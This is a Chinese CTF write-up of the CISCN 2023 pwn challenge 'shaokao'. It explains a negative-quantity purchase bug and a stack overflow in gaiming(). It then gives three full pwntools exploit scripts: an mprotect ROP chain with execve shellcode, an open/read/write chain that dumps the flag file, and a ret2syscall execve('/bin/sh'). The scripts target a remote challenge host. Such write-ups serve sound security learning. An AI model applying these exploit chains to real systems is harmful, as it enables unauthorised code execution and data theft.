【CISCN 2023】烧烤摊儿
收获
通过
scanf()
输入的数据可以作为溢出点使用
ret2shellcode(mprotect 修改权限)
、ORW
、ret2syscall
三种方法 get shell
(2023年5月27日-2023年5月28日)【CISCN 2023】烧烤摊儿
思路一 (mprotect)
分析程序:
开启了金丝雀和栈不可执行
根据程序运行时的输出,在 IDA 下分析:
其中,目录 menu()
的输出为:
查看各个目录项的功能:
① pijiu()
② chuan()
③ yue()
④ vip()
⑤ gaiming()
发现在 gaiming()
函数中,有将用户的输入 v5
赋值给全局变量 name
的操作
同时没有对 v5
的长度进行限制,存在栈溢出漏洞
需覆盖 0x28 个数据到达返回地址处:
跟进发现全局变量 name
在 .data 段上:
于是考虑将 shellcode 写到这里
用 gdb 查看权限:
全局变量 name
的地址 0x4E60F0
在 0x4e6000 ~ 0x4e9000
之间,Perm 为 rw-p
没有执行权限
但考虑到程序中有 mprotect()
函数:
可以用 mprotect()
函数为该段地址增加执行权限
mprotect()
函数的起始地址为 0x458b00
使用 ROPgadget --binary shaokao --only 'pop|ret' | grep 'pop'
搜索可利用的 ROP:
mprotect()
需要三个参数,分别是:
① rdi
:要修改的内存页首地址 (我这里将 0x4e6000 ~ 0x4e9000
这段地址全部改为 rwx 权限)
② rsi
:要修改的内存页大小 (我这里段长度为 0x3000)
③ rdx
:要修改的权限 (其中 r : 4,w : 2,x : 1,因此 rwx 为 4 + 2 + 1 = 7)
同时,获取返回地址 ret
的地址:
经过分析可知,要想执行 gaiming()
中的栈溢出漏洞,首先要让 own = 1
,只有在 vip()
中可以修改 own
的值为 1
首先需要买下摊位,要求余额 money > 100000
,而 money
的初始值为 233
发现在购买逻辑中存在漏洞:
当 v9
为负数时,可以让 money
增长,超过 100000 即可
因此,思路如下:
① 首先通过购买的逻辑漏洞使余额 money > 100000
,买下摊位,进入 gaiming()
函数
② 然后利用 mprotect()
函数给 name
所在的 .data 段增加执行权限
③ 最后通过 j_strcpy_ifunc(&name, v5)
向 name
中写入 shellcode,并溢出 v5
执行 shellcode
脚本一
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
content = 1 # 本地Pwn通之后,将content改成0,Pwn远程端口
if content == 1:
io = process("/home/wyy/桌面/PWN/shaokao") # 程序路径
else:
io = remote("39.107.137.13", 20341) # 题目的远程端口
elf = ELF("/home/wyy/桌面/PWN/shaokao")
name_addr = 0x4E60F0
pop_rdi_addr = 0x40264f
pop_rsi_addr = 0x40a67e
pop_rdx_rbx_addr = 0x4a404b
ret_addr = 0x40101a
mprotect_addr = elf.symbols['mprotect'] # 0x458b00
main_addr = elf.symbols['main'] # 0x401B45
io.sendline("1")
io.sendline("1")
io.sendline("-100000000")
io.sendline("4")
io.sendline("5")
payload = b'a' * 0x28
payload += p64(pop_rdi_addr) + p64(0x4E6000) + p64(pop_rsi_addr) + p64(0x3000) + p64(pop_rdx_rbx_addr) + p64(0x7) + p64(0) # 布置mprotect()函数的参数
payload += p64(mprotect_addr) + p64(ret_addr) + p64(main_addr) # 跳转到mprotect()函数后返回到main()函数
io.sendline(payload)
io.sendline("1")
io.sendline("1")
io.sendline("-100000000")
io.sendline("4")
io.sendline("5")
shellcode = b'\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'
payload = shellcode.ljust(0x28, b'a') # 补齐0x28个填充数据到达返回地址处
payload += p64(name_addr) # 跳转到shellcode处执行
io.sendline(payload)
io.interactive()
结果一
思路二 (ORW)
在思路一中买下摊位执行 gaiming()
函数后
由于程序中包含 open64()
、read()
、write()
函数
因此还可以利用 v5
的溢出使用 ORW 读出 flag
确定 ORW 三个函数的地址:
函数 | 地址 |
---|---|
open64() | 0x457C90 |
read() | 0x457DC0 |
write() | 0x457E60 |
首先需要通过 j_strcpy_ifunc(&name, v5)
向 name
中写入 b'./flag\x00\x00'
,并将 b'./flag\x00\x00'
作为 open64()
函数的参数,构造 open(b'./flag\x00\x00', 0)
用于打开当前目录下名为 flag 的文件,其中 0 表示只读方式打开
然后构造 read(3, name_addr, 0x50)
将 flag 内容写入到 name
的地址处,再通过构造 write(1, name_addr, 0x50)
将 flag 内容从 name
的地址处输出到终端
脚本二
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
content = 1 # 本地Pwn通之后,将content改成0,Pwn远程端口
if content == 1:
io = process("/home/wyy/桌面/PWN/shaokao") # 程序路径
else:
io = remote("39.107.137.13", 20341) # 题目的远程端口
elf = ELF("/home/wyy/桌面/PWN/shaokao")
open64_addr = 0x457C90
read_addr = 0x457DC0
write_addr = 0x457E60
name_addr = 0x4E60F0
pop_rdi_addr = 0x40264f
pop_rsi_addr = 0x40a67e
pop_rdx_rbx_addr = 0x4a404b
io.sendline("1")
io.sendline("1")
io.sendline("-100000000")
io.sendline("4")
io.sendline("5")
# open(b'./flag\x00\x00', 0)
ORW = p64(pop_rdi_addr) + p64(name_addr) + p64(pop_rsi_addr) + p64(0) + p64(open64_addr)
# read(3, name_addr, 0x50)
ORW += p64(pop_rdi_addr) + p64(3) + p64(pop_rsi_addr) + p64(name_addr) + p64(pop_rdx_rbx_addr) + p64(0x50) + p64(0) + p64(read_addr)
# write(1, name_addr, 0x50)
ORW += p64(pop_rdi_addr) + p64(1) + p64(pop_rsi_addr) + p64(name_addr) + p64(pop_rdx_rbx_addr) + p64(0x50) + p64(0) + p64(write_addr)
payload = b'./flag\x00\x00'.ljust(0x28, b'a') # 向 name_addr 处填入b'./flag\x00\x00' 并补齐 8 字节,将长度填充到 0x28 至返回地址处
payload += ORW
io.sendline(payload)
io.interactive()
结果二
思路三 (ret2syscall)
在思路一中买下摊位执行 gaiming()
函数后
由于程序没有给出 libc 文件,并且可以向 name
所在的 .data
段写入数据
因此可以考虑向 .data
段上写入 "/bin/sh"
但程序中没有 system()
函数,可以考虑使用 ret2syscall 构造 execve("/bin/sh", NULL, NULL)
来 get shell
首先确定程序中存在 pop rax ; ret
还要存在 syscall
首先需要通过 j_strcpy_ifunc(&name, v5)
向 name
中写入 b'/bin/sh\x00'
,并溢出 v5
构造 execve("/bin/sh", NULL, NULL)
执行
注意这里是将 b'/bin/sh\x00'
写入到 name
,所以只能一次性 get shell
如果分两次的话,例如:第一次写入 b'/bin/sh\x00'
,第二次执行 execve("/bin/sh", NULL, NULL)
,则在第二次中执行 j_strcpy_ifunc(&name, v5)
又会将 name
覆盖掉,导致 get shell 失败
脚本三
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
content = 1 # 本地Pwn通之后,将content改成0,Pwn远程端口
if content == 1:
io = process("/home/wyy/桌面/PWN/shaokao") # 程序路径
else:
io = remote("39.107.137.13", 20341) # 题目的远程端口
elf = ELF("/home/wyy/桌面/PWN/shaokao")
name_addr = 0x4E60F0
pop_rdi_addr = 0x40264f
pop_rsi_addr = 0x40a67e
pop_rdx_rbx_addr = 0x4a404b
pop_rax_addr = 0x458827
syscall_addr = 0x402404
io.sendline("1")
io.sendline("1")
io.sendline("-100000000")
io.sendline("4")
io.sendline("5")
payload = b'/bin/sh\x00'.ljust(0x28, b'a')
payload += p64(pop_rax_addr) + p64(0x3b)
payload += p64(pop_rdi_addr) + p64(name_addr)
payload += p64(pop_rsi_addr) + p64(0)
payload += p64(pop_rdx_rbx_addr) + p64(0) + p64(0)
payload += p64(syscall_addr)
io.sendline(payload)
io.interactive()